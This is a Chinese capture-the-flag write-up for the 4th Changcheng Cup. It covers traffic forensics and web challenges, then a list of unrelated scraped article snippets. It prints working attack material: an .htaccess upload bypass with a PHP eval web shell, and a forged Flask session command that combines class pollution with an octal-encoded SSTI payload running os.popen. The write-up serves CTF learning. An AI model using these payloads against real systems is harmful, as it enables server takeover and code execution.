第四届长城杯部分wp
还是太菜了,要经常练了
1.BrickGame
读源码可以看到时间的值是由js设定的,所以控制台将timeleft的时间改成999999
通过游戏就可以得到flag
2.SQLUP
一道文件上传的题目,在登陆页面我用admin和1登陆成功了,但是按照正常的应该是要爆破,用bp爆破得到下面的页面
登陆成功后,点击头像就可以进行文件上传,先上传一个php文件发现它限制带p的文件。
那就我想到了.htaccess文件和.user.ini文件,我使用的.htaccess文件,文件内容如下
AddType application/X-httped-php .gif
然后在上传一个1.gif文件,gif文件内容就是一句话木马
<?php @eval($_POST[1]);?>
然后访问url+uploads/gif文件名
探针测试了一下发现上传成功了
之后连接蚁剑,直接cat flag不行,需要提权,提权命令如下
tac -s 'RANDOM' "/flag"
得到flag
3.漏洞探测,流量解密
下载附件打开,发现有两个阶段,第二阶段的压缩包密码是第一阶段的攻击ip;
先在第一阶段找攻击ip,
我们可以看到木马文件为gateway.php
然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234
因此压缩包密码为192.168.30.234
打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。
在某一个文件中找到了提示,加密方式是RC4
在剩余文件中找到了key和raw,即秘钥和密文
把raw前面的key删了用rc4解密就得到flag了
4.最安全的加密方式
下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出
将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头
然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码
25ming
打开压缩包中的文档,发现有一堆md5数据,逐行解密md5即可得到flag
5.CandyShop
它给了源码,对源码进行审计一下
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import reapp = Flask(__name__)app.config['SECRET_KEY'] = 'xxxxxxx'class RegistrationForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Register')class LoginForm(FlaskForm):username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])submit = SubmitField('Login')class Candy:def __init__(self, name, image):self.name = nameself.image = imageclass User:def __init__(self, username, password):self.username = usernameself.password = passworddef verify_password(self, username, password):return (self.username==username) & (self.password==password)
class Admin:def __init__(self):self.username = ""self.identity = ""def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)candies = [Candy(name="Lollipop", image="images/candy1.jpg"),Candy(name="Chocolate Bar", image="images/candy2.jpg"),Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():form = RegistrationForm()if form.validate_on_submit():user = User(username=form.username.data, password=form.password.data)users.append(user)return redirect(url_for('login'))return render_template('register.html', form=form)@app.route('/login', methods=['GET', 'POST'])
def login():form = LoginForm()if form.validate_on_submit():for u in users:if u.verify_password(form.username.data, form.password.data):session['username'] = form.username.datasession['identity'] = "guest"return redirect(url_for('home'))return render_template('login.html', form=form)inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():global inventory, soldmessage = Noneusername = session.get('username')identity = session.get('identity')if not username:return redirect(url_for('register'))if sold >= 10 and sold < 500:sold = 0inventory = 500message = "But you have bought too many candies!"return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)if request.method == 'POST':action = request.form.get('action')if action == "buy_candy":if inventory > 0:inventory -= 3sold += 3if inventory == 0:message = "All candies are sold out!"if sold >= 500:with open('secret.txt', 'r') as file:message = file.read()return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)@app.route('/admin', methods=['GET', 'POST'])
def admin():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))admin = Admin()merge(session,admin)admin_user.append(admin)return render_template('admin.html', view='index')@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))return render_template('admin.html', view='candies', candies=candies)@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))candy_name = request.form.get('name')candy_image = request.form.get('image')if candy_name and candy_image:new_candy = Candy(name=candy_name, image=candy_image)candies.append(new_candy)return render_template('admin.html', view='add_candy')@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():global inventoryusername = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))if request.form.get('add'):num = request.form.get('add')inventory += int(num)return render_template('admin.html', view='add_inventory')@app.route('/')
def index():return render_template('index.html')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=1337)
找出关键代码
# 获取flag大致路径的
if request.method == 'POST':action = request.form.get('action')if action == "buy_candy":if inventory > 0:inventory -= 3sold += 3if inventory == 0:message = "All candies are sold out!"if sold >= 500:with open('secret.txt', 'r') as file:message = file.read()# 造成原型链污染处
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
....
admin = Admin()
merge(session,admin)
....# SSTI处
def view_inventory():username = session.get('username')identity = session.get('identity')if not username or identity != 'admin':return redirect(url_for('register'))inventory_value = sanitize_inventory_sold(inventory)sold_value = sanitize_inventory_sold(sold)return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)# SSTI Waf处
def sanitize_inventory_sold(value):return re.sub(r'[a-zA-Z_]', '', str(value))
第二段可以上网搜一下明显的原型链污染,之后我也会了解相关知识出一篇文章
在第一段代码上面有这样的一段代码
if sold >= 10 and sold < 500:sold = 0inventory = 500message = "But you have bought too many candies!"return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)
就是只要sold>10就会置0,所以这里用session伪造,去得到secret.txt
这里爆破key的值为a123456,然后就可以来伪造session,通过伪造sold超过500获取一下secret.txt的内容
爆破相关知识如下
Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客
在/admin/view_inventory有渲染接口,但是下面限制了不能有字母
所以需要别的方法进行绕过,绕过方法可以看下面这篇文章
https://ctftime.org/writeup/22159
最后测试出用八进制绕过这里的限制,然后再通过flask unsign工具来伪造一下session
网址:https://github.com/Paradoxis/Flask-Unsign
flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'test3','__init__':{'__global
s__':{'sold':857,'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'
在前面中已经找到了/tmp/目录接着用这个进行执行命令
不断进行ls得到目录,在ls /tmp/
15021e2b855f8e2ab83431c5d8ad4e75
得到下一个目录直到得到flag
这个题两个知识点session爆破和伪造,无字母绕过
相关文章:

第四届长城杯部分wp
还是太菜了,要经常练了 1.BrickGame 读源码可以看到时间的值是由js设定的,所以控制台将timeleft的时间改成999999 通过游戏就可以得到flag 2.SQLUP 一道文件上传的题目,在登陆页面我用admin和1登陆成功了,但是按照正常的应该是…...

打造无死角安防网:EasyCVR平台如何助力智慧警务实现视频+AI的全面覆盖
一、背景概述 随着科技的飞速发展,智慧城市建设已成为提升社会治理能力、增强公共安全水平的重要途径。在警务领域,智慧警务作为智慧城市的重要组成部分,正通过融合视频监控技术与人工智能(AI)解决方案,实…...

批发订货系统源码怎么弄 门店订货系统小程序价格
上线批发订货系统可以显著提升业务效率和管理水平,它能够帮助企业自动化处理订单、实时跟踪库存、简化订单管理、生成数据报表…这些优势能最终帮助你降低成本、提高效率,提升业务竞争力。今天,小编为您分享批发订货系统源码怎么弄。大家点赞…...

终端安全如何防护?一文为你揭晓答案!
终端安全防护是确保组织内部网络及其连接设备免受威胁的关键措施。 以下是终端安全防护的一些核心方法: 1. 资产管理与识别 摸清家底:识别所有连接到网络的终端设备及其状态,包括硬件和软件配置。 资产分类:确定哪些资产最为关…...

价值流架构指南:构建业务创新与竞争优势的全面方法论
如何通过价值流引领企业数字化转型? 在当前数字化转型的背景下,企业面临的挑战日益复杂化:如何更快响应市场变化?如何优化资源配置提升效率?如何确保客户体验始终处于行业领先?《价值流指南》由The Open G…...

知识蒸馏(Knowledge Distillation)
Distilling the Knowledge in a Neural Network 知识蒸馏原理 1、Summarize 知识蒸馏技术 通过从大型的教师模型向小型的学生模型转移知识来实现模型压缩和优化。 知识蒸馏的核心思想是 利用教师模型在大量数据上积累的丰富知识,通过特定的蒸馏算法,使…...
【zsh】Linux离线安装zsh
首先从GitHub下载源码,然后编译源码后安装。以下是具体的步骤: 1. 下载并解压源码 首先,从GitHub下载了zsh源码的压缩包并解压到某个目录: tar -xvf zsh-<version>.tar.gz cd zsh-<version>2. 安装编译所需的依赖&…...

一款好用的电子样本册转换器
在数字化时代,电子样本册已成为各行各业必备的工具。一款好用的电子样本册转换器,可以让你在繁杂的资料管理中轻松解脱。今天,就为大家推荐一款实用的电子样本册转换神器,让你的工作效率翻倍! 工具推荐:FLB…...

TDesign:腾讯的开源企业级前端框架,能和ant-design一战吗?
TDesign 是一套拥有完整的 设计价值观 和 视觉风格指南 的企业级设计体系,同时提供了丰富的 设计资源。TDesign 在设计体系基础上产出基于 Vue、React、小程序等业界主流技术栈的组件库解决方案。是不是有点晚了? 请大家各抒己见。...

大语言模型LLM权重4bit向量量化(Vector Quantization)/查找表量化基本原理
参考 https://apple.github.io/coremltools/docs-guides/source/opt-palettization-overview.html https://apple.github.io/coremltools/docs-guides/source/opt-palettization-algos.html Apple Intelligence Foundation Language Models 苹果向量量化: DKM:…...

学习threejs,创建立方体,并执行旋转动画
文章目录 一、前言二、代码示例三、总结 一、前言 本文基于threejs,实现立方体的创建,并加入立方体旋转动画 二、代码示例 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>l…...

2024网安周今日开幕,亚信安全亮相30城
2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席20…...
Unity Qframework 加载UI的方式
如图所示 : // Resources 加载 UIKit.OpenPanel("Resources/UIPrefab/UIMenuPanel"); // Resources 加载并传递数据 UIKit.OpenPanel<UIMenuPanel>(new UIMenuPanelData() { m_Modle this.m_Modle }, prefabName: "UIPrefab/UIMenuPanel"); …...
使用 Python 创建自动抽奖程序
介绍 自动抽奖程序在各种场景中非常有用,比如社交媒体活动、公司抽奖、在线课程奖励等。在这篇博文中,我们将学习如何使用 Python 创建一个自动抽奖程序。我们将涵盖以下内容: 需求分析环境设置基本抽奖逻辑图形用户界面(GUI&am…...

推荐10款功能强大的电脑监控软
随着工作环境和信息安全要求的不断提高,越来越多的企业和个人开始关注电脑监控软件。电脑监控软件能够帮助管理者监控员工工作效率、保护敏感信息、防止数据泄露等。下面,我们将为大家推荐10款功能强大的电脑监控软件,涵盖国内外的知名产品&a…...

‘“node“‘ �����ڲ����ⲿ���Ҳ���ǿ����еij��� ���������ļ���
错误信息 使用vscode提交前端代码到git时,报下面的错,一直不知道啥原因,后来找到了个临时解决方案。。。 vscode解决方案 package.json文件中,去掉hooks的配置。 Idea解决方案 网上有说idea的解决方案的:就是提…...

MQ-135空气质量传感器(STM32)
目录 一、介绍 二、传感器原理 1.原理图 2.引脚描述 3.工作原理介绍 三、程序设计 main.c文件 mq135.h文件 mq135.c文件 四、实验效果 五、资料获取 项目分享 一、介绍 MQ-135空气质量传感器属于MQ系列气体传感器,广泛用于检测有害气体、新鲜空气中的烟…...

动手学深度学习(pytorch)学习记录27-深度卷积神经网络(AlexNet)[学习记录]
目录 创建模型读取数据集训练AlexNet AlexNet 是由 Alex Krizhevsky、Ilya Sutskever 和 Geoffrey Hinton 在 2012 年提出的深度卷积神经网络,它在当年的 ImageNet 大规模视觉识别挑战赛(ILSVRC)中取得了显著的成绩,从而引起了深度…...

zookeeper是啥?在kafka中有什么作用
一、Zookeeper是啥 问AI,它是这么说: ZooKeeper是一个开源的分布式协调服务。 ZooKeeper最初由雅虎研究院开发,用于解决大型分布式系统中的协调问题,特别是为了避免分布式单点故障。它被设计成一个简单易用的接口集,封…...

华为手机集大成之作?带你看全球首款三折叠手机 Mate XT 非凡大师
北京时间9月10日14:30分,华为终端在深圳召开了华为见证非凡品牌盛典及鸿蒙智行新品发布会。这次发布会最受瞩目的莫过于非凡大师系列的新品、全球首款三折叠手机Mate XT 非凡大师。 三折叠形态,内外铰链存于一体 尽管三折叠的概念被提出来的时间并不算…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)
HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...
python报错No module named ‘tensorflow.keras‘
是由于不同版本的tensorflow下的keras所在的路径不同,结合所安装的tensorflow的目录结构修改from语句即可。 原语句: from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后: from tensorflow.python.keras.lay…...

Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement
Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement 1. LAB环境2. L2公告策略2.1 部署Death Star2.2 访问服务2.3 部署L2公告策略2.4 服务宣告 3. 可视化 ARP 流量3.1 部署新服务3.2 准备可视化3.3 再次请求 4. 自动IPAM4.1 IPAM Pool4.2 …...

ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]
报错信息:libc.so.6: cannot open shared object file: No such file or directory: #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...

高考志愿填报管理系统---开发介绍
高考志愿填报管理系统是一款专为教育机构、学校和教师设计的学生信息管理和志愿填报辅助平台。系统基于Django框架开发,采用现代化的Web技术,为教育工作者提供高效、安全、便捷的学生管理解决方案。 ## 📋 系统概述 ### 🎯 系统定…...